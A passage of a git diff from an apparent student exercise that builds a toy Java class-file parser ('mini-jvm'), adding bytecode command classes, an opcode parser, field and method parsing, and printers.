+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(getReadableCodeText());
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode.toUpperCase());
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/CommandParser.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..e86d3de1de
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/CommandParser.java
@@ -0,0 +1,144 @@
+package com.coderising.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class CommandParser {
+
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+		if (codes == null || codes.length() <= 0) {
+			throw new RuntimeException("字节码指令解析错误!");
+		}
+		List<ByteCodeCommand> cmds = new ArrayList<ByteCodeCommand>();
+		CommandIterator iter = new CommandIterator(codes);
+		while (iter.hasNext()) {
+			String opcmd = iter.next2CharAsString();
+			System.out.println("opcmd:" + opcmd);
+			if (bipush.equalsIgnoreCase(opcmd)) {
+				BiPushCmd cmd = new BiPushCmd(clzFile, opcmd);
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (getfield.equalsIgnoreCase(opcmd)) {
+				GetFieldCmd cmd = new GetFieldCmd(clzFile, opcmd);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (getstatic.equalsIgnoreCase(opcmd)) {
+				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opcmd);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (invokespecial.equalsIgnoreCase(opcmd)) {
+				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opcmd);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (invokevirtual.equalsIgnoreCase(opcmd)) {
+				InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opcmd);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (ldc.equalsIgnoreCase(opcmd)) {
+				LdcCmd cmd = new LdcCmd(clzFile, opcmd);
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (new_object.equalsIgnoreCase(opcmd)) {
+				NewObjectCmd cmd = new NewObjectCmd(clzFile, opcmd);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (putfield.equalsIgnoreCase(opcmd)) {
+				PutFieldCmd cmd = new PutFieldCmd(clzFile, opcmd);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (dup.equalsIgnoreCase(opcmd) || aload_0.equalsIgnoreCase(opcmd) || aload_1.equalsIgnoreCase(opcmd)
+					|| aload_2.equalsIgnoreCase(opcmd) || iload_1.equalsIgnoreCase(opcmd)
+					|| iload_2.equalsIgnoreCase(opcmd) || iload_3.equalsIgnoreCase(opcmd)
+					|| fload_3.equalsIgnoreCase(opcmd) || voidreturn.equalsIgnoreCase(opcmd)
+					|| astore_1.equalsIgnoreCase(opcmd)) {
+				NoOperandCmd cmd = new NoOperandCmd(clzFile, opcmd);
+				cmds.add(cmd);
+			} else {
+				throw new RuntimeException("暂不支持的指令类型!");
+			}
+		}
+		calcuateOffset(cmds);
+		ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
+		cmds.toArray(result);
+		return result;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..2e6061edd2
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..e6cf9d5960
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..ac228d0e4d
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..c15d827797
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..ffb66f811c
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..33813b5d59
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..56c28fefe2
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/OneOperandCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..963d064257
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..85bb369c19
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/TwoOperandCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..6c0cf53082
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group27/383117348/src/com/coderising/jvm/constant/ClassInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/ClassInfo.java
similarity index 100%
rename from group27/383117348/src/com/coderising/jvm/constant/ClassInfo.java
rename to group27/383117348/mini-jvm/com/coderising/jvm/constant/ClassInfo.java
diff --git a/group27/383117348/src/com/coderising/jvm/constant/ConstantInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/ConstantInfo.java
similarity index 100%
rename from group27/383117348/src/com/coderising/jvm/constant/ConstantInfo.java
rename to group27/383117348/mini-jvm/com/coderising/jvm/constant/ConstantInfo.java
diff --git a/group27/383117348/src/com/coderising/jvm/constant/ConstantPool.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/ConstantPool.java
similarity index 100%
rename from group27/383117348/src/com/coderising/jvm/constant/ConstantPool.java
rename to group27/383117348/mini-jvm/com/coderising/jvm/constant/ConstantPool.java
diff --git a/group27/383117348/src/com/coderising/jvm/constant/FieldRefInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/FieldRefInfo.java
similarity index 100%
rename from group27/383117348/src/com/coderising/jvm/constant/FieldRefInfo.java
rename to group27/383117348/mini-jvm/com/coderising/jvm/constant/FieldRefInfo.java
diff --git a/group27/383117348/src/com/coderising/jvm/constant/FloatInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/FloatInfo.java
similarity index 100%
rename from group27/383117348/src/com/coderising/jvm/constant/FloatInfo.java
rename to group27/383117348/mini-jvm/com/coderising/jvm/constant/FloatInfo.java
diff --git a/group27/383117348/src/com/coderising/jvm/constant/IntegerInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/IntegerInfo.java
similarity index 100%
rename from group27/383117348/src/com/coderising/jvm/constant/IntegerInfo.java
rename to group27/383117348/mini-jvm/com/coderising/jvm/constant/IntegerInfo.java
diff --git a/group27/383117348/src/com/coderising/jvm/constant/MethodRefInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/MethodRefInfo.java
similarity index 100%
rename from group27/383117348/src/com/coderising/jvm/constant/MethodRefInfo.java
rename to group27/383117348/mini-jvm/com/coderising/jvm/constant/MethodRefInfo.java
diff --git a/group27/383117348/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/NameAndTypeInfo.java
similarity index 100%
rename from group27/383117348/src/com/coderising/jvm/constant/NameAndTypeInfo.java
rename to group27/383117348/mini-jvm/com/coderising/jvm/constant/NameAndTypeInfo.java
diff --git a/group27/383117348/src/com/coderising/jvm/constant/NullConstantInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/NullConstantInfo.java
similarity index 100%
rename from group27/383117348/src/com/coderising/jvm/constant/NullConstantInfo.java
rename to group27/383117348/mini-jvm/com/coderising/jvm/constant/NullConstantInfo.java
diff --git a/group27/383117348/src/com/coderising/jvm/constant/StringInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/StringInfo.java
similarity index 100%
rename from group27/383117348/src/com/coderising/jvm/constant/StringInfo.java
rename to group27/383117348/mini-jvm/com/coderising/jvm/constant/StringInfo.java
diff --git a/group27/383117348/src/com/coderising/jvm/constant/UTF8Info.java b/group27/383117348/mini-jvm/com/coderising/jvm/constant/UTF8Info.java
similarity index 100%
rename from group27/383117348/src/com/coderising/jvm/constant/UTF8Info.java
rename to group27/383117348/mini-jvm/com/coderising/jvm/constant/UTF8Info.java
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/field/Field.java b/group27/383117348/mini-jvm/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..1d03d962e4
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/field/Field.java
@@ -0,0 +1,42 @@
+package com.coderising.jvm.field;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		Field field = new Field(iter.nextU2Int(), iter.nextU2Int(), iter.nextU2Int(),pool);
+		int attributeCount=iter.nextU2Int();
+		System.out.println("attributeCount:"+attributeCount);
+		for(int j=0;j<attributeCount;j++){
+			int attribute_name_index = iter.nextU2Int();
+			int attribute_length = iter.nextU4Integer();
+			int attribute_value_index = iter.nextU2Int();
+		}
+		return field;
+	}
+	
+	@Override
+	public String toString() {
+		String name = pool.getUTF8String(nameIndex);
+		String descr = pool.getUTF8String(descriptorIndex);
+		return name+":"+descr;
+	}
+	
+}
diff --git a/group27/383117348/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group27/383117348/mini-jvm/com/coderising/jvm/loader/ByteCodeIterator.java
similarity index 73%
rename from group27/383117348/src/com/coderising/jvm/loader/ByteCodeIterator.java
rename to group27/383117348/mini-jvm/com/coderising/jvm/loader/ByteCodeIterator.java
index 2688ae5810..8e85a3d0ab 100644
--- a/group27/383117348/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -48,4 +48,20 @@ private byte[] getByteBySize(int size){
 		}
 		return by;
 	}
+
+	public String nextUxToHexString(int len) {
+		byte[] tmp = new byte[len];
+
+		for (int i = 0; i < len; i++) {
+			tmp[i] = code[pos++];
+		}
+		return Util.byteToHexString(tmp).toLowerCase();
+
+	}
+	public int getPos(){
+		return pos;
+	}
+	public void back(int n) {
+		this.pos -= n;
+	}
 }
diff --git a/group27/383117348/src/com/coderising/jvm/loader/ClassFileLoader.java b/group27/383117348/mini-jvm/com/coderising/jvm/loader/ClassFileLoader.java
similarity index 100%
rename from group27/383117348/src/com/coderising/jvm/loader/ClassFileLoader.java
rename to group27/383117348/mini-jvm/com/coderising/jvm/loader/ClassFileLoader.java
diff --git a/group27/383117348/src/com/coderising/jvm/loader/ClassFileLoader_backup.java b/group27/383117348/mini-jvm/com/coderising/jvm/loader/ClassFileLoader_backup.java
similarity index 100%
rename from group27/383117348/src/com/coderising/jvm/loader/ClassFileLoader_backup.java
rename to group27/383117348/mini-jvm/com/coderising/jvm/loader/ClassFileLoader_backup.java
diff --git a/group27/383117348/src/com/coderising/jvm/loader/ClassFileParser.java b/group27/383117348/mini-jvm/com/coderising/jvm/loader/ClassFileParser.java
similarity index 75%
rename from group27/383117348/src/com/coderising/jvm/loader/ClassFileParser.java
rename to group27/383117348/mini-jvm/com/coderising/jvm/loader/ClassFileParser.java
index 209ee78d36..970c06e082 100644
--- a/group27/383117348/src/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/loader/ClassFileParser.java
@@ -1,6 +1,8 @@
 package com.coderising.jvm.loader;
 
 import java.io.UnsupportedEncodingException;
+import java.util.ArrayList;
+import java.util.List;
 
 import com.coderising.jvm.clz.AccessFlag;
 import com.coderising.jvm.clz.ClassFile;
@@ -15,6 +17,8 @@
 import com.coderising.jvm.constant.NullConstantInfo;
 import com.coderising.jvm.constant.StringInfo;
 import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
 
 public class ClassFileParser {
 	
@@ -33,12 +37,23 @@ public ClassFile parse(byte[] codes) {
 		ConstantPool constant = parseConstantPool(by);
 		AccessFlag flag = parseAccessFlag(by);
 		ClassIndex index = parseClassIndex(by);
-		
+		parseInterfaces(by);
 		file.setMinorVersion(minVersion);
 		file.setMajorVersion(majorVersion);
 		file.setAccessFlag(flag);
 		file.setClassIndex(index);
 		file.setConstPool(constant);
+		List<Field> fields = parseField(by,constant);
+		List<Method> methods = parseMethod(by,file);
+		
+		
+		for(Field field:fields){
+			file.addField(field);
+		}
+		for(Method method:methods){
+			file.addMethod(method);
+		}
+
 		return file;
 	}
 
@@ -105,6 +120,32 @@ private ConstantPool parseConstantPool(ByteCodeIterator iter) {
 	        }
 	        return pool;
 	}
-
 	
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2Int();
+		System.out.println("interfaceCount:" + interfaceCount);
+	}
+	
+	private List<Field> parseField(ByteCodeIterator by,ConstantPool pool) {
+		// TODO Auto-generated method stub
+		List<Field> result = new ArrayList<Field>();
+		int fieldCount = by.nextU2Int();
+		for(int i=0;i<fieldCount;i++){
+			Field field = Field.parse(pool, by);
+			result.add(field);
+		}
+		return result;
+	}
+
+	private List<Method> parseMethod(ByteCodeIterator by,ClassFile file) {
+		// TODO Auto-generated method stub
+		List<Method> result = new ArrayList<Method>();
+		int methodCount = by.nextU2Int();
+		for(int i=0;i<methodCount;i++){
+			Method method = Method.parse(file, by);
+			result.add(method);
+		}
+		return result;
+	}
+
 }
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/method/Method.java b/group27/383117348/mini-jvm/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..091ecc2209
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/method/Method.java
@@ -0,0 +1,76 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class Method {
+
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+
+	private CodeAttr codeAttr;
+
+	private ClassFile clzFile;
+
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+
+	public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter) {
+
+		int accessFlag = iter.nextU2Int();
+		int nameIndex = iter.nextU2Int();
+		int descriptorIndex = iter.nextU2Int();
+
+		Method method = new Method(clzFile, accessFlag, nameIndex, descriptorIndex);
+
+		int attirbutesCount = iter.nextU2Int();
+		
+		for (int i = 0; i < attirbutesCount; i++) {
+			int attributeNameIndex = iter.nextU2Int();
+			iter.back(2);
+			String attributeName = ((UTF8Info) clzFile.getConstantPool().getConstantInfo(attributeNameIndex))
+					.getValue();
+			
+			if (null != attributeName && attributeName.equalsIgnoreCase(AttributeInfo.CODE)) {
+				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
+				method.setCodeAttr(codeAttr);
+
+			} else {
+				throw new RuntimeException("解析属性异常-属性名:"+attributeName);
+			}
+		}
+		return method;
+	}
+	public ByteCodeCommand[] getCmds() {		
+		return this.getCodeAttr().getCmds();
+	}
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/print/ClassFilePrinter.java b/group27/383117348/mini-jvm/com/coderising/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..14407bacbe
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMinorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/print/ConstantPoolPrinter.java b/group27/383117348/mini-jvm/com/coderising/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..028161adc7
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
